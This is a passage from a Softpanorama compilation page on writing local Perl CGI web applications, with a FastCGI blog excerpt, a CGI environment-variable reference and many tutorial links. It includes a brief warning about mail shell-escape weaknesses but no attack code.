Interface widgets

Applications are probably reasonably well addressed using forms with lots of buttons in them. If you have metadata or context that needs to be passed from one page to another, go ahead and use hidden form fields; the security concerns you might face (users can override them) are non-issues in this context. You can use image buttons for many purposes, although they do require you to develop images. If you want to bypass this, create an image button with alt text and an invalid URL for its image:


Listing 4: A text-only button without GUI widgets:
                
print $q->image_button(-name => "sort",
          -value => "$name",
          -src => "/nonexistant",
          -alt => $label);
     

This might seem ridiculous, compared to the simpler alternative of just using a hyperlink, but in a large form, the corresponding href=... link might be quite large, and indeed impossible to precalculate if the button is submitting a form. It's an ugly hack, but it works.

One-off applications

If you write a couple of small local host Web applications, you will quickly notice something: They are often quick enough to write, even with debugging, to be substantially more efficient than performing common tasks by hand. The efficiency gain of simplifying a long or tedious procedure might easily pay back the development time of an application that might take only minutes to develop.

Perl's standard CGI library provides a huge variety of useful basic tools to work with. A couple of hours of playing around with it and getting used to its extremely flexible and rich feature set will let you write a broad variety of applications with very little effort. Just as a simple scripting system can make one-off command line scripts practical and cost effective, simple CGI scripts can make a variety of graphical programs practical and cost effective. If you put an afternoon into playing around with these, you'll quickly find that dozens of tasks that you wish someone would have written a program for are easily within your grasp.

Scaling up

A disturbingly common experience is to write a small, simple, one-off application, quite possibly intended only for local use, and then discover that there's a compelling reason to scale it up to a larger audience.

Even when an application is only for local use, write clean code, and have lots of instrumentation and debugging output available. Good code with good support for debugging pays for itself in maintenance costs very quickly. When you add in the possibility of needing to rework the application for a larger (plural!) audience, it pays off even more.

Refactoring can be a fair amount of work, but it's not as bad as you might think. For the most part, it will mean scaling up the actual back-end database or file manipulation to allow for better and smarter locking. If your program does file manipulations, you might consider writing a small server that handles these operations atomically, and thus guarantees serialization. It might well make sense for such a server to handle only one client at a time, as long as individual scripts run quickly.

The major thing you need to watch out for is a program that assumes something about internal state. For instance, in a document-classification program, the obvious thing to do is to display "the next file" to the user, then file it appropriately. With two users, you need some tracking of which file each user is processing, and some way to handle edge cases -- if someone opens the application, then wanders away at some point, you will need to let someone else look at the file in question. Sometimes this can involve a substantial rework of the back end, but it will generally be pretty easy to keep the user-visible front end stable.

Resources

Learn

[Nov 25, 2006] FastCGI becoming the new leader in server technologies?

David's blog

Until now FastCGI was behind mod_php, java and mod_perl in terms of popularity among web server administrators and web developers. But times have changed and changed for good.

In the early days of web development when the CGI interface was the leader and web servers were quite slow, developers felt that they needed a faster server technology, that can be used to run their web applications on high-traffic web sites. The solution to the problem seemed obvious – the developers had to take their CGI-based code and put it into the web server process.

With this solution, the operating system didn't have to start a new process every time a request had been received, which is very expensive, and you could write your application with a persistent functionality in mind and ability to cache data between several different http requests.

These were the days when some of the most popular web server APIs were born – Internet Information Server's ISAPI, Netscape Server's NSAPI, and Apache's module API. This trend created some of the best known and quite often used technologies in web development like mod_php, mod_python, java servlets (and later jsp), asp. But the conception that stays behind these technologies is not flawless. There are many problems with applications that run inside your average web server.

For example mod_perl's high memory usage per child process can suck the available ram, php's problems with threads can kill the whole web server, and many security problems arising from the fact that the most popular web server (Apache) can't do simple things like changing the OS user it executes the request with. For quite some time there have been solutions, like putting a light-weight proxy server in front of apache, installing third-parity software for IIS or using php's safe mode and OpenBasedir (Oh GOD!) on apache, but these are not elegant and pose other problems on their own. Also the hardware progress in the last few years made the server modules obsolete.

In the mean time, when the server modules were gaining glory and fame, a little-known technology with a different conception and implementation was born. It was called FastCGI and the basic problem it was designed to solve was to make CGI programs run faster. Later, it became clear that FastCGI solves many other problems and design flaws that the server modules had.

How FastCGI works?
FastCGI runs in the web server process, but doesn't handle the request itself. Instead it manages a pool of the so-called FastCGI servers outside of the web server process and when a request arrives, the FastCGI manager sends the http data through a socket to one of the available fastcgi servers to handle this request. This strategy is quite simple and has the following advantages:

In the beginning FastCGI was not so popular, because its use of external processes and communication through sockets required more resources to be allocated on the host system. Today this is not the case, because for the last few years the hardware development made huge leaps ahead and system memory is not so expensive anymore. In present days many of the web servers have full support for FastCGI and the trend is to migrate the current web applications to run under it. These are some of the most popular web servers that have support for FastCGI: In November Microsoft announced support for FastCGI on IIS 5, IIS 6 and IIS 7 (Beta). Click here to read the announcement.

Recommended Links

Google matched content

Softpanorama Recommended

Top articles

Sites

***** CGI Resource Index. This is just Metaindex page: Archive and catalog of CGI scripts, documentation and resources.

Webteacher.com - web database, javascript tutorial, cgi tutorial. An interactive site for helping non-programmers learn advanced web development skills. Great for beginners.

WDVL CGI The Common Gateway Interface for Server-side Processing

An instantaneous introduction to CGI scripts and HTML forms, Academic Computing Services, University of Kansas

CGI Script Tutorial and CGI Resources

Link To VerySimple Scripts -- nice collection of scripts

Installing Perl Modules on MS Windows Servers (the Easy Way)

WDVL Introduction to the Web Application Development Environment (Tools) by Selena Sol May 31, 1999

CGI Programming 101 - Learn CGI Today! online book. Average quality.

CGI Programming OpenFAQ

Web Client Programming with Perl -- online book

Table of Contents

Preface
Chapter 1: Introduction
Chapter 2: Demystifying the Browser
Chapter 3: Learning HTTP
Chapter 4: The Socket Library
Chapter 5: The LWP Library
Chapter 6: Example LWP Programs
Chapter 7: Graphical Examples with Perl/Tk

Appendix A: HTTP Headers
Appendix B: Reference Tables
Appendix C: The Robot Exclusion Standard

Index

Examples

General Web Scripting Tutorials

Common Gateway Interface (CGI) Specifications

CGI-Resources Page
CGI Tutorials and scripts
The Idiot's Guide to Solving Perl CGI Problems
Perl Tutotial Start
CGI Scripts from NCSA
ENMPC: Tutorial on CGI
Perl and CGI Tutorial
CGI Tutorial - Frames version
Matt's Perl Tutorial
Danny Aldham's Perl CGI Tutorial Page version 1.07
Perl and CGI Tutorial
CGI Tutorial && Link
CGI Tutorial: Start
CGI Manual
CGI & Perl links on the WWW
Perl-Related Links
CGI Tutorial: A simple CGI script
CGI Tutorial: What CGI scripts are

Reference

CGI scripts have access to 20 or so environment variables, such as QUERY_STRING and CONTENT_LENGTH mentioned on the main page. Here's the complete list at NCSA.

REQUEST_METHOD
The HTTP method this script was called with. Generally "GET", "POST", or "HEAD".
HTTP_REFERER
The URL of the form that was submitted. This isn't always set, so don't rely on it. Don't go invading people's privacy with it, neither.
PATH_INFO
Extra "path" information. It's possible to pass extra info to your script in the URL, after the filename of the CGI script. For example, calling the URL
http://www.myhost.com/mypath/myscript.cgi/path/info/here

will set PATH_INFO to "/path/info/here". Commonly used for path-like data, but you can use it for anything.

SERVER_NAME
Your Web server's hostname or IP address (at least for this request).
SERVER_PORT
Your Web server's port (at least for this request).
SCRIPT_NAME
The path part of the URL that points to the script being executed. It should include the leading slash, but certain older Web servers leave the slash out. You can guarantee the leading slash with this line of Perl:
$ENV{'SCRIPT_NAME'}=~ s#^/?#/# ;

So the URL of the script that's being executed is, in Perl,

"http://$ENV{'SERVER_NAME'}:$ENV{'SERVER_PORT'}$ENV{'SCRIPT_NAME'}"

The complete URL the script was invoked with may also have PATH_INFO and QUERY_STRING at the end.

MIME Types

MIME types are standard, case-insensitive strings that identify a data type, used throughout the Internet for many purposes. They start with the general type of data (like text, image, or audio), followed by a slash, and end with the specific type of data (like html, gif, or jpeg). HTML files are identified with text/html, and GIFs and JPEGs are identified with image/gif and image/jpeg. Here's a pretty good list of commonly-used MIME types.

CGI-scanners

CGI Scripts Archives

Perl

HTTP Servers & Add-ons:

Common Gateway Interface (CGI) Specifications

CGI-Resources Page
CGI Tutorials and scripts


Perl Tutotial Start
CGI Scripts from NCSA
ENMPC: Tutorial on CGI
Perl and CGI Tutorial
CGI Tutorial - Frames version
Matt's Perl Tutorial
Danny Aldham's Perl CGI Tutorial Page version 1.07
Perl and CGI Tutorial
CGI Tutorial && Link
CGI Tutorial: Start
CGI Manual
CGI & Perl links on the WWW
Perl-Related Links
CGI Tutorial: A simple CGI script
CGI Tutorial: What CGI scripts are

Selena Sol

CGI SCRIPT TUTORIALS

Debugging and Troubleshooting

Administration

CGI Security

The problem with /usr/ucb/mail shell escapes is going stay with us for quite a while: I have found that many web sites run CGI helper scripts that send data from the network into /usr/ucb/mail, without censoring of, for example, newline characters embedded in the data.



Etc

Society

Groupthink : Two Party System as Polyarchy : Corruption of Regulators : Bureaucracies : Understanding Micromanagers and Control Freaks : Toxic Managers :   Harvard Mafia : Diplomatic Communication : Surviving a Bad Performance Review : Insufficient Retirement Funds as Immanent Problem of Neoliberal Regime : PseudoScience : Who Rules America : Neoliberalism  : The Iron Law of Oligarchy : Libertarian Philosophy

Quotes

War and Peace : Skeptical Finance : John Kenneth Galbraith :Talleyrand : Oscar Wilde : Otto Von Bismarck : Keynes : George Carlin : Skeptics : Propaganda  : SE quotes : Language Design and Programming Quotes : Random IT-related quotesSomerset Maugham : Marcus Aurelius : Kurt Vonnegut : Eric Hoffer : Winston Churchill : Napoleon Bonaparte : Ambrose BierceBernard Shaw : Mark Twain Quotes

Bulletin:

Vol 25, No.12 (December, 2013) Rational Fools vs. Efficient Crooks The efficient markets hypothesis : Political Skeptic Bulletin, 2013 : Unemployment Bulletin, 2010 :  Vol 23, No.10 (October, 2011) An observation about corporate security departments : Slightly Skeptical Euromaydan Chronicles, June 2014 : Greenspan legacy bulletin, 2008 : Vol 25, No.10 (October, 2013) Cryptolocker Trojan (Win32/Crilock.A) : Vol 25, No.08 (August, 2013) Cloud providers as intelligence collection hubs : Financial Humor Bulletin, 2010 : Inequality Bulletin, 2009 : Financial Humor Bulletin, 2008 : Copyleft Problems Bulletin, 2004 : Financial Humor Bulletin, 2011 : Energy Bulletin, 2010 : Malware Protection Bulletin, 2010 : Vol 26, No.1 (January, 2013) Object-Oriented Cult : Political Skeptic Bulletin, 2011 : Vol 23, No.11 (November, 2011) Softpanorama classification of sysadmin horror stories : Vol 25, No.05 (May, 2013) Corporate bullshit as a communication method  : Vol 25, No.06 (June, 2013) A Note on the Relationship of Brooks Law and Conway Law

History:

Fifty glorious years (1950-2000): the triumph of the US computer engineering : Donald Knuth : TAoCP and its Influence of Computer Science : Richard Stallman : Linus Torvalds  : Larry Wall  : John K. Ousterhout : CTSS : Multix OS Unix History : Unix shell history : VI editor : History of pipes concept : Solaris : MS DOSProgramming Languages History : PL/1 : Simula 67 : C : History of GCC developmentScripting Languages : Perl history   : OS History : Mail : DNS : SSH : CPU Instruction Sets : SPARC systems 1987-2006 : Norton Commander : Norton Utilities : Norton Ghost : Frontpage history : Malware Defense History : GNU Screen : OSS early history

Classic books:

The Peter Principle : Parkinson Law : 1984 : The Mythical Man-MonthHow to Solve It by George Polya : The Art of Computer Programming : The Elements of Programming Style : The Unix Hater’s Handbook : The Jargon file : The True Believer : Programming Pearls : The Good Soldier Svejk : The Power Elite

Most popular humor pages:

Manifest of the Softpanorama IT Slacker Society : Ten Commandments of the IT Slackers Society : Computer Humor Collection : BSD Logo Story : The Cuckoo's Egg : IT Slang : C++ Humor : ARE YOU A BBS ADDICT? : The Perl Purity Test : Object oriented programmers of all nations : Financial Humor : Financial Humor Bulletin, 2008 : Financial Humor Bulletin, 2010 : The Most Comprehensive Collection of Editor-related Humor : Programming Language Humor : Goldman Sachs related humor : Greenspan humor : C Humor : Scripting Humor : Real Programmers Humor : Web Humor : GPL-related Humor : OFM Humor : Politically Incorrect Humor : IDS Humor : "Linux Sucks" Humor : Russian Musical Humor : Best Russian Programmer Humor : Microsoft plans to buy Catholic Church : Richard Stallman Related Humor : Admin Humor : Perl-related Humor : Linus Torvalds Related humor : PseudoScience Related Humor : Networking Humor : Shell Humor : Financial Humor Bulletin, 2011 : Financial Humor Bulletin, 2012 : Financial Humor Bulletin, 2013 : Java Humor : Software Engineering Humor : Sun Solaris Related Humor : Education Humor : IBM Humor : Assembler-related Humor : VIM Humor : Computer Viruses Humor : Bright tomorrow is rescheduled to a day after tomorrow : Classic Computer Humor

The Last but not Least Technology is dominated by two types of people: those who understand what they do not manage and those who manage what they do not understand ~Archibald Putt. Ph.D


Copyright © 1996-2021 by Softpanorama Society. www.softpanorama.org was initially created as a service to the (now defunct) UN Sustainable Development Networking Programme (SDNP) without any remuneration. This document is an industrial compilation designed and created exclusively for educational use and is distributed under the Softpanorama Content License. Original materials copyright belong to respective owners. Quotes are made for educational purposes only in compliance with the fair use doctrine.

FAIR USE NOTICE This site contains copyrighted material the use of which has not always been specifically authorized by the copyright owner. We are making such material available to advance understanding of computer science, IT technology, economic, scientific, and social issues. We believe this constitutes a 'fair use' of any such copyrighted material as provided by section 107 of the US Copyright Law according to which such material can be distributed without profit exclusively for research and educational purposes.

This is a Spartan WHYFF (We Help You For Free) site written by people for whom English is not a native language. Grammar and spelling errors should be expected. The site contain some broken links as it develops like a living tree...

You can use PayPal to to buy a cup of coffee for authors of this site

Disclaimer:

The statements, views and opinions presented on this web page are those of the author (or referenced source) and are not endorsed by, nor do they necessarily reflect, the opinions of the Softpanorama society. We do not warrant the correctness of the information provided or its fitness for any purpose. The site uses AdSense so you need to be aware of Google privacy policy. You you do not want to be tracked by Google please disable Javascript for this site. This site is perfectly usable without Javascript.

Last modified: July, 28, 2019